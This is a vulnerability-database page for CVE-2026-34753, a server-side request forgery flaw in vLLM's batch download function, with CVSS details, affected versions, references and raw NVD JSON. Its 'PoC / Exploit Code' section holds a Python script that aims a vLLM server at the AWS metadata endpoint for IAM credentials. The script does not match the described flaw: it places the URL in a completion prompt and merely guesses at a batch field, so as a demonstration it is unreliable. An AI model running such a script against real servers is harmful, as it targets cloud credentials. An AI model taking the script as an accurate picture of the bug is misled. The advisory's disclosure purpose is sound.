CVE-2026-34753

Description

vLLM is an inference and serving engine for large language models (LLMs). From 0.16.0 to before 0.19.0, a server-side request forgery (SSRF) vulnerability in download_bytes_from_url allows any actor who can control batch input JSON to make the vLLM batch runner issue arbitrary HTTP/HTTPS requests from the server, without any URL validation or domain restrictions. This can be used to target internal services (e.g. cloud metadata endpoints or internal HTTP APIs) reachable from the vLLM host. This vulnerability is fixed in 0.19.0.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:vllm:vllm:*:*:*:*:*:*:*:* - VULNERABLE

vLLM >= 0.16.0

vLLM < 0.19.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target vLLM server endpoint
url = "http://vllm-server:8000/v1/completions"

# Malicious URL targeting internal metadata service (e.g., AWS IMDS)
internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# Construct the malicious JSON payload
# This payload injects the SSRF URL into the batch input
payload = {
    "model": "vllm-model",
    "prompt": "Read the content from: " + internal_target,
    "max_tokens": 50
}

# Example if the vulnerability is triggered via a specific download parameter
# payload = {
#     "download_url": internal_target
# }

try:
    # Send the request to trigger the SSRF
    response = requests.post(url, json=payload)
    
    if response.status_code == 200:
        print("[+] Potential SSRF triggered successfully.")
        print("[+] Server Response:")
        print(response.text)
    else:
        print("[-] Request failed with status code:", response.status_code)
        print(response.text)

except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34753
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34753
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34753/
[4] VulDB https://vuldb.com/cve/CVE-2026-34753
[5] https://github.com/vllm-project/vllm/security/advisories/GHSA-pf3h-qjgv-vcpr

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34753", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:36.307", "lastModified": "2026-04-20T18:31:56.893", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "vLLM is an inference and serving engine for large language models (LLMs). From 0.16.0 to before 0.19.0, a server-side request forgery (SSRF) vulnerability in download_bytes_from_url allows any actor who can control batch input JSON to make the vLLM batch runner issue arbitrary HTTP/HTTPS requests from the server, without any URL validation or domain restrictions.\nThis can be used to target internal services (e.g. cloud metadata endpoints or internal HTTP APIs) reachable from the vLLM host. This vulnerability is fixed in 0.19.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vllm:vllm:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.16.0", "versionEndExcluding": "0.19.0", "matchCriteriaId": "B8669DB6-DED0-403B-A294-BBF70600B90F"}]}]}], "references": [{"url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-pf3h-qjgv-vcpr", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}